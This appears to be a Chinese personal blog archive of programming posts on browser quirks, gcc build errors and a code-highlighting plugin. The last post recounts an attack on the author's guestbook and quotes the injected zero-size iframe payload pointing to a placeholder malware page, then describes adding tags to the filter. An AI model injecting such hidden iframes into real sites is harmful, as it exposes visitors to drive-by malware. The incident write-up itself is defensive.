Category Archives: Not Language
IN:Not Language Tags: Js, Web Comments:4IE6竟然不能连接向同一个网页发请求[做个按钮使用ajax请求一个网址 你们在服务器上发现 其实IE6只发了一次 但是ajax返回确是成功的]
IE7对iframe标签的支持竟然有问题–>http://zhengrenchi.blogbus.com/logs/23056446.html
IE6与IE6 div标签的默认值不一样。
JS代码报错的位置竟然不是真正出错的位置!
…….
就这些简单的问题折腾了我好几天。web前端编程太麻烦了,这么痛苦的开发环境,真是受不了。
IN:Not Language, 编程相关 Tags: configure, Life Comments:3编译一个游戏的客户端时遇到了点问题:
configure: error: C preprocessor “/lib/cpp” fails sanity check
首先确定是否安装了gcc-c++,如果没有则安装之;然后检查config.log文件,如果提示找不到limits.h文件,解决的办法是:
yum install kernel-headers
更多讨论见:http://www.linuxquestions.org/questions/linux-software-2/configure-error-c-preprocessor-libcpp-fails-sanity-check-124961/page3.html#post2974284
################################显眼的分隔线#######################################################
出来冒个泡,好久没更新了,今天遇到这个问题发现很多人在写相关的解决办法时很不全面,而我刚开始搜解决办法的时候也是被迷惑了好久。总结下经验吧,首先是要按照configure时的提示看看config.log文件,会有很有用的信息在里面,还有一点,把google的搜索语言改为英文,我的浏览器已经是默认设置了,中文的技术资料质量还是太差了。
顺便想起昨天偶尔去GameRes逛了下,发现了几个有意思的小游戏,结果下下来的文件中全是一堆垃圾,描述里面还说什么开源,评论里面也是一堆赞美的话,真是悲哀啊!!
IN:Not Language, 编程相关 Tags: Ext2 Comments:3原文见这里
本来打算自己翻译,结果,看到网上已经有人做过翻译了,就在别人的基础上改了改:
http://cocobear.info/download/ext2intro.pdf
IN:Not Language, 编程相关 Tags: gcc,F9 Comments:6Fedora9中默认安装的gcc版本是4.3,(Ubuntu8.04还只是4.2.1)由于gcc本身的变化,在Fedora9中源码编译一些软件的时候会出错,比如eva。我原来写的程序在gcc 4.2.1中可以顺利编译,今天在F9中测试的时候就出错了:
test.cpp:38: error: ‘memcpy’ was not declared in this scope
gcc的官方有针对这种情况的说明:
http://gcc.gnu.org/gcc-4.3/porting_to.html
gcc 为了加快编译的速度,减少了对头文件的检查,因此得手动包含所有相关的头文件。这样做可以确保程序员在写代码的时候意识到自己需要哪些头文件,而不是交给编译器去处理。不过同时也带来了不少麻烦,许多以前写的代码都没办法在gcc 4.3中编译通过。
我在f8(VM虚拟机中)中使用gcc 4.2.1编译一个动态链接库时完全正常,但在F9(AMD64 Dou)中使用gcc 4.3编译就无法通过了提示:
/usr/bin/ld: test.o : relocation R_X86_64_32 against `a local symbol’ can not be used when making a shared object; recompile with -fPIC
test.o: could not read symbols: Bad value
不知道这是gcc 4.3的问题,还是双核64系统的问题。只好再装一个低版本的gcc,下载了gcc 4.2.4的源码包,没想到编译时又出错了:
/usr/include/gnu/stubs.h:7:27: error: gnu/stubs-32.h: 没有那个文件或目录
又google了半天终于找到了答案,缺少:glibc-devel-32bit,但是一直找不到和我系统glibc-devel(2.8)匹配的glibc-devel-32bit,只能找到一个2.5的rpm包,只好在安装时使用了–nodeps选项。
参考这篇文章,把新编译的gcc安装好,并且重新设置PATH,再次编译前面的程序,结果仍然一样,看来确实是64位系统的问题了。
IN:Not Language, 编程相关 Tags: ig_syntax_hilite Comments:7
awk '/.*0020*./{print}' 00 > 01
awk ' {print $18} ' 01 > 02
cat 02 | sort | uniq > 03
//g' 03 > 04
sed -e '/.*\.\.\.\.\.\./d' 04 > 05
sed -e 's/\.\.\.//g' 05 > 06
sed -e 's/\b\.\b/\-\-\-\-/g' 06 > 07
rm -f 01 02 03 04 05 06
awk '/.*0020*./{print}' 00 > 01
awk ' {print $18} ' 01 > 02
cat 02 | sort | uniq > 03
//g' 03 > 04
sed -e '/.*\.\.\.\.\.\./d' 04 > 05
sed -e 's/\.\.\.//g' 05 > 06
sed -e 's/\b\.\b/\-\-\-\-/g' 06 > 07
rm -f 01 02 03 04 05 06
上面是效果,感觉还不错,插件叫ig_syntax_hilite,原本是是白色为基色的,因为我的博客是黑色为主,所以自己改了改,这个插件使用的是GeSHi这个进行代码高亮的。插件里原本的GeSHi有不少时间没更新,俺就从GeSHi主页下载了最新的代码,这下可以高亮的语言增加了不少,就连bash的代码也可以,不错。
不知道为什么原来的代码行号是一行粗一点一行细一点,看着实在是不爽,找到代码改为统一的normal格式。打了个包,在下面,想用的就下载吧。
ig_syntax_hilite黑色风格
IN:Not Language, 编程相关 Comments:10先戴个图给大家看看:

一看就知道是被别人测试iframe挂马了,看来留言簿的代码还是有问题,没有把该过滤的东西过滤掉。putty到DH主机上看看MYSQL数据库里面的东西:
最早有问题的留言是:
<tr>
<th scope="col"> </th>
<th scope="col"> </th>
<th scope="col"> </th>
<th scope="col"> </th>
<th scope="col"> </th>
<th scope="col"> </th>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
这个应该是测试是否可以提交HTML标签的。接下来的留言内容:
<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>
这段代码是被写入留言簿中的留言内容,产生一个高、宽为0的frame,经典的挂马行为。这个frame在opera下可以看到,很小的一块,但是IE里是看不到的,当然也只有IE才会中iframe的马。看看在Opera中的效果:

再看下面:
<iframe src=http://www.google.com width=100 height=100></iframe>
产生一个高、宽为100的frame,里面是google主页。
<iframe src=http://www.google.com ></iframe>
最后一个,未指定高、宽由页面自动匹配。
知道问题的原因了,看了看留言簿的代码,在关键字过滤处没有<tr> <iframe>这两个标签,现在加上去就好了。然后在MYSQL中删除这几条垃圾留言。OK
这个年头自己弄个网站不知道一天有多少人在打你的主意,你要是有点流量的话更是会被别人定上的,网上混的话还是安全第一。